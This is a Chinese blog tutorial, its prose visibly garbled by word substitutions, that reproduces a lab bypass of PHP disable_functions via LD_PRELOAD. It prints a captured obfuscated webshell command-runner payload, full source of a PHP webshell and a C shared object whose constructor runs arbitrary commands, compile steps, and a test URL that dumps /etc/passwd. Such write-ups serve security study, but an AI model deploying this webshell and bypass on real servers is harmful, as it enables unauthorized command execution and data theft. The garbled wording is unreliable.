本日无意间看到一篇文章,讲述的是某个php站点在限定了disable_functions的情形下,如何通过LD_PRELOAD来实行命令。看完之后复现了一遍,觉得收成颇多。
后来跟随文章提到的思路找了一下其它思路,考试测验利用各种姿势绕过disable_functions,遂有想写这篇文章的想法。近期也看到不少CTF也将干系知识加入考点,这里记录一下~
上篇紧张讲解利用LD_PRELOAD绕过disable_functions的复现过程,之后的内容是绕过的其它姿势,看篇幅决定是写个下篇还是分中、下两篇写。
disable_functions之殇
先说下php.ini中的disable_functions,这个本来php为了防止一些危险函数实行给出的配置项,但是默认情形下为空,也便是说php官方认为:哪些函数存在风险由开拓者自行决定,否则可能影响项目正常运行。
当然想法没问题,毕竟“汝之蜜糖 彼之砒霜”不同开拓者面临的需求和能力不仅相同,为了实现某些分外功能,不得不调用一些函数,这些函数都是php自己实现并供应的,默认就禁用也会有损“天下上最好措辞”的荣誉:)
以是有些开拓者自己鼓捣了一些非威信危险函数列表,比如:
system、shell_exec、exec、passthru、phpinfo等
实在便是一个黑名单,搞web安全的都知道,凡是黑名单都存在被绕过的可能,尤其php又是一门这么灵巧的措辞再加之和其它运用结合的情形下,绕过的可能性更加大了,本日看的这篇文章供应了4种思路。
无需sendmail:巧用LDPRELOAD打破disablefunctions
(https://www.freebuf.com/articles/web/192052.html)
1. 攻击后端组件,探求存在命令注入的、web 运用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞
2. 探求未禁用的漏网函数,常见的实行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec()
3. mod_cgi 模式,考试测验修正 .htaccess,调度要求访问路由,绕过 php.ini 中的任何限定
4. 利用环境变量 LD_PRELOAD 挟制系统函数,让外部程序加载恶意 .so,达到实行系统命令的效果
都是非常好的思路,本日我们来复现一下文章中紧张提到的第4种思路:利用LD_PRELOAD绕过disable_functions。
环境布局
操作系统:
Kali
2019.1
php版本:PHP
7.3
.
2
-
3
web目录:/root/disablefunc
php.ini路径:/etc/php/
7.3
/cli/php.ini
为了节约韶光起见,也
php -S 0.0.0.0:8888
这里顺便说一下,一开始我用的是6666端口,结果chrome浏览器打不开,ie可往后来用firefox创造了原形,说是非常用web端口,以是启动的时候末了用个常见的web端口。
方便期间,该目录下留了两个文件phpinfo.php和webshell.php,分别是phpinfo文件和一个一句话木马(
再修正一下php.ini,将一些常见危险函数加入个中
disable_functions = symlink,show_source,system,exec,passthru,shell_exec,popen,proc_open,proc_close,curl_exec,curl_multi_exec,pcntl_exec
重启php,我们看一下效果
上蚁剑,完美连接。
虚拟终端考试测验命令实行呢?
返回全是ret=127报错,解释disable_functions生效了,至少蚁剑考试测验的命令都失落败了,这正是我们想要的效果。
缘故原由剖析
为什么蚁剑的连接成功,可以连接、列目录但是不能实行命令呢?
还是老规矩上wireshark抓个包看下,首先是首次连接的HTTP数据包。
我的一句话木马连接的key是meetsec,POST要求包中的body部分url编码太多,我们大略还原一下。
个中和目录/系统/用户干系的函数dirname、phpuname、getcurrentuser都不在disablefunctions中。
再考试测验列一下根目录文件,看一下这个要求。
个中的filemtime、fileperms、readdir等和文件、目录干系的函数也未被禁用
至于命令实行的要求包。
实行命令用到的函数是system、exec、passthru等早就被我们和谐的函数,自然无法实现命令实行。
有人可能好奇我敲的命令在要求包啥位置。
0xd28d6b0ccb7e=Y2QgIi9yb290L2Rpc2FibGVmdW5jIjtscztlY2hvIFtTXTtwd2Q7ZWNobyBbRV0=&0xe5793956f2725=L2Jpbi9zaA==&meetsec=@iniset(\"大众displayerrors\"大众, \公众0\公众);@settimelimit(0);header('HTTP/1.1 200 OK');echo \"大众->|\"大众;$p=base64decode($POST[\公众0xe5793956f2725\公众]);$s=base64decode($POST[\"大众0xd28d6b0ccb7e\公众]);$d=dirname($SERVER[\"大众SCRIPTFILENAME\"大众]);$c=substr($d,0,1)==\"大众/\"大众?\"大众-c \\"大众{$s}\\"大众\"大众:\"大众/c \\公众{$s}\\"大众\公众;$r=\"大众{$p} {$c}\公众;function fe($f){$d=explode(\"大众,\"大众,@iniget(\"大众disablefunctions\"大众));if(empty($d)){$d=array();}else{$d=arraymap('trim',arraymap('strtolower',$d));}return(functionexists($f)&&iscallable($f)&&!inarray($f,$d));};function runcmd($c){$ret=0;if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shellexec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join(\"大众
\公众,$o));}elseif (fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp, 2048));}@pclose($fp);}else{$ret = 127;}return $ret;};$ret=@runcmd($r.\"大众 2>&1\"大众);print ($ret!=0)?\"大众ret={$ret}\公众:\"大众\公众;;echo \公众|<-\公众;die();
实在这个要求紧张是用base64编码加字符串更换的办法实现了大略的稠浊,解一下个中的base64部分然后更换到指定字符串就知道大致含义,此处不深入展开,有兴趣可以自行探索。
LD_PRELOAD简述
关于LD_PRELOAD,之前其实在处理挖矿木马的时候碰着过,也写过文章,紧张是修正并隐蔽/etc/ld.so.preload中的内容为恶意动态链接库,实现文件、进程隐蔽的效果。
这里的LD_PRELOAD实在类似:
LD_PRELOAD,是个环境变量,用于动态库的加载,
动态库加载的优先级最高,一样平常情形下,其加载顺序为LDPRELOAD>LDLIBRARYPATH>/etc/ld.so.cache>/lib>/usr/lib。程序中我们常常要调用一些外部库的函数,以open()和execve()为例,如果我们有个自定义这两函数,把它编译成动态库后,通过LDPRELOAD加载,当程序中调用open函数时,调用的实在是我们自定义的函数
也便是说如果我们想修正某函数test的实行结果,可以利用LDPRELOAD这个环境变量,内容是我们编译好的so文件,个中有一个同名test函数。如果我们在实行的时候通过LDPRELOAD加载了我们编写了so文件,那么如果某些命令实行的时候调用了test函数,我们编写的test函数优先级最高,会最先实行。
简而言之是个同名函数谁能先实行的问题,利用LD_PRELOAD加持,就可以优先实行。
有兴趣的小伙伴看一下这篇文章
LD_PRELOAD用法(https://blog.csdn.net/m0_37806112/article/details/80560235)
当然如果我们要挟制一个Linux系统命令的结果,首先要做的是知道该命令可能会调用哪些系统API,或者可实行文件的符号表,比如id命令的。
readefl -Ws `which id`
当然这里把稳,这个命令结果仅代表可能被调用的API,不代表一定调用,那么如何才能看到实际调用的情形呢?
strace -f `which id` 2>&1
内容还是很多的,那我们关注什么呢?
由于被挟制的系统函数得由我们重新实现一次,函数原型必须同等,为减少繁芜性,我会选择挟制那些无参数且常用的系统函数,getuid() 就适宜,以此为例,完全挟制过程步骤大致如下:首先,用 man 2 getuid 查看函数原型:
附:man 1,2,3含义
1是普通的命令
2是系统调用,如open,write之类的(通过这个,至少可以很方便的查到调用这个函数,须要加什么头文件)
3是库函数,如printf,fread
既然getuid非常符合我们挟制函数的哀求,就考试测验挟制它吧,先写一段getuid的c源码getuid_meetsec.c。
然后编译成64位共享动态链接库getuid_meetsec.so(warning不用在意)
gcc -shared -fPIC getuid_meetsec.c -o getuid_meetsec.so -m64
参数含义如下:
如果想创建一个动态链接库,可以利用 GCC 的-shared选项。输入文件可以是源文件、汇编文件或者目标文件。
其余还得结合-fPIC选项。-fPIC 选项浸染于编译阶段,见告编译器产生与位置无关代码(Position-Independent Code);这样一来,产生的代码中就没有绝对地址了,全部利用相对地址,以是代码可以被加载器加载到内存的任意位置,都可以精确的实行。这正是共享库所哀求的,共享库被加载时,在内存的位置不是固定的。
看下效果,我们实行
LD_PRELOAD=/root/disablefunc/getuid_meetsec.so `which id`
先加载我们写的so文件
我这环境有点问题,以是会重复多次实行新增的语句。
当然你也可以这样实行:
export LD_PRELOAD=\"大众./getuid_meetsec.so\"大众id
效果一样,不过非常恐怖的事情发生了,此时所有系统命令都会加载本so,实行命令速率无比缓慢。
想要复原的话很大略。
export LD_PRELOAD=NULL
顺便一提,如果实行完上面语句往后敲任意命令都有其它语句跟随输出,此时重启系统可规复正常。
php和LD_PRELOAD
上面紧张从linux系统层面先容了一下LD_PRELOAD的含义和用法,那么和php有啥关系呢?
有的,由于很多php函数是可以启动新进程的,一旦启动了新进程一定涉及调用系统API,同时php基于C措辞开拓,linux同样基于C措辞开拓,以是两者在函数实现上有相同之处。
以是我们要做的遍历php自带的函数,看看有多少是可以启动新进程的,当然启动的办法还不能是exec,system,passthru等这种办法的。
原文作者yangyangwithgnu通过耐心探求终于创造了php中的mail函数在运行时可以通过execve启用新进程。
strace -f php mail.php 2>&1 |grep -A2 -B2 execve
我们在php中可以利用putenv函数提前加载我们写好的so文件。
putenv(\"大众LD_PRELOAD=/root/disablefunc/getuid_meetsec.so\"大众);
好了,说到这里,基本命令实行的思路就有了。
我们可以先创建一个可实行命令的so文件再编写一个php文件引用我们的so文件
当然so文件的来源自然是要先用c源码文件编译得到,而且最好是不依赖于操作系统环境的共享库。
不过这里还是有一个问题,c源码中的,我们去挟制哪个函数呢?上面因此php的mail函数为例挟制通过启动新进程挟制getuid函数,但从strace命令的结果看。
mail函数的利用依赖于系统中存在的sendmail命令
但是不一定系统中启用了sendmail乃至可能根本没有安装,如果是这样的话,我们就无法通过mail--sendmail--getuid这条链路实现函数挟制。
以是我们更该当考虑的不是挟制某个函数,而应考虑挟制共享工具,这里直接引用作者原文描述:
回到 LD_PRELOAD 本身,系统通过它预先加载共享工具,如果能找到一个办法,在加载时就实行代码,而不用考虑挟制某一系统函数,那我就完备可以不依赖 sendmail 了。
这种场景与 C++ 的布局函数切实其实神似!
几经搜索后理解到,GCC 有个 C 措辞扩展润色符 __attribute__((constructor)),可以让由它润色的函数在 main() 之前实行,若它涌如今共享工具中时,那么一旦共享工具被系统加载,立即将实行 __attribute__((constructor))润色的函数。
非常nice的知识点,放弃挟制单一函数,转投关注通用性更强的共享工具,这才是本篇教程的核心点!
这也是为什么教程的标题叫做 无需sendmail:巧用LD_PRELOAD打破disable_functions
正是基于以上思路,作者给出了配套了php小马和c源码项目源码。
bypass_disablefunc.php
<?php echo \公众<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>\"大众; $cmd = $_GET[\"大众cmd\"大众]; $out_path = $_GET[\"大众outpath\"大众]; $evil_cmdline = $cmd . \"大众 > \"大众 . $out_path . \"大众 2>&1\"大众; echo \"大众<p> <b>cmdline</b>: \公众 . $evil_cmdline . \公众</p>\公众; putenv(\公众EVIL_CMDLINE=\公众 . $evil_cmdline); $so_path = $_GET[\"大众sopath\"大众]; putenv(\"大众LD_PRELOAD=\"大众 . $so_path); mail(\公众\公众, \"大众\"大众, \"大众\"大众, \公众\公众); echo \"大众<p> <b>output</b>: <br />\公众 . nl2br(file_get_contents($out_path)) . \公众</p>\"大众; unlink($out_path);?>
bypass_disablefunc.php 供应三个 GET 参数。
1. cmd 参数,待实行的系统命令(如 pwd);2. outpath 参数,保存命令实行输出结果的文件路径(如 /tmp/xx),便于在页面上显示,其余关于该参数,你应把稳 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点;3. sopath 参数,指定挟制系统函数的共享工具的绝对路径(如 /var/www/bypass_disablefunc_x64.so),其余关于该参数,你应把稳 web 是否可跨目录访问到它。此外,bypass_disablefunc.php 拼接命令和输出路径成为完全的命令行,以是你不用在 cmd 参数中重定向了:$evil_cmdline = $cmd . \"大众 > \"大众 . $out_path . \"大众 2>&1\"大众;
同时,通过环境变量 EVILCMDLINE 向 bypassdisablefunc_x64.so 通报详细实行的命令行信息:
putenv(\公众EVIL_CMDLINE=\"大众 . $evil_cmdline);
bypass_disablefunc.c
#define _GNU_SOURCE#include <stdlib.h>#include <stdio.h>#include <string.h>extern char environ;__attribute__ ((__constructor__)) void preload (void){ // get command line options and arg const char cmdline = getenv(\公众EVIL_CMDLINE\"大众); // unset environment variable LD_PRELOAD. // unsetenv(\"大众LD_PRELOAD\"大众) no effect on some // distribution (e.g., centos), I need crafty trick. int i; for (i = 0; environ[i]; ++i) { if (strstr(environ[i], \公众LD_PRELOAD\公众)) { environ[i][0] = '\0'; } } // executive command system(cmdline);}
如果你是一个细心的人你会创造这里的bypassdisablefunc.c(来自github)和教程中提及的不一样,多出了利用for循环修正LDPRELOAD的首个字符改成\0,如果你略微理解C措辞就会知道\0是C措辞字符串结束标记,缘故原由注释里有:unsetenv(\"大众LDPRELOAD\"大众)在某些Linux发行版不一定生效(如CentOS),这样一个小动作能够让系统原有的LDPRELOAD环境变量自动失落效。
然后从环境变量 EVILCMDLINE 中吸收 bypassdisablefunc.php 通报过来的待实行的命令行。
用命令 gcc -shared -fPIC bypassdisablefunc.c -o bypassdisablefuncx64.so 将 bypassdisablefunc.c 编译为共享工具 bypassdisablefuncx64.so:
要根据目标架构编译身分歧版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构须要加上 -m32 选项。
然后我们利用蚁剑把干系文件上传到咱们的web目录下。
ok,测试一下效果哈
http://192.168.248.140:8888/bypassdisablefunc.php?cmd=cat%20/etc/passwd&outpath=/tmp/xx&sopath=/root/disablefunc/bypassdisablefunc_x64.so
效果大赞,如果无法成功把稳web进程用户权限(读写、目录访问等),个中sopath传入绝对路径。
非常好的一篇文章,希望能多多学习个中的思路~
下篇将考试测验复现其它的绕过disable_functions的思路,敬请期待~
参考链接
无需sendmail:巧用LDPRELOAD打破disablefunctions
https://www.freebuf.com/articles/web/192052.html
当心UNIX下的LD_PRELOAD环境变量
https://blog.csdn.net/haoel/article/details/1602108
深入浅出LD_PRELOAD & putenv()
https://www.anquanke.com/post/id/175403
TCTF2019 WallBreaker-Easy 解题剖析
https://xz.aliyun.com/t/4688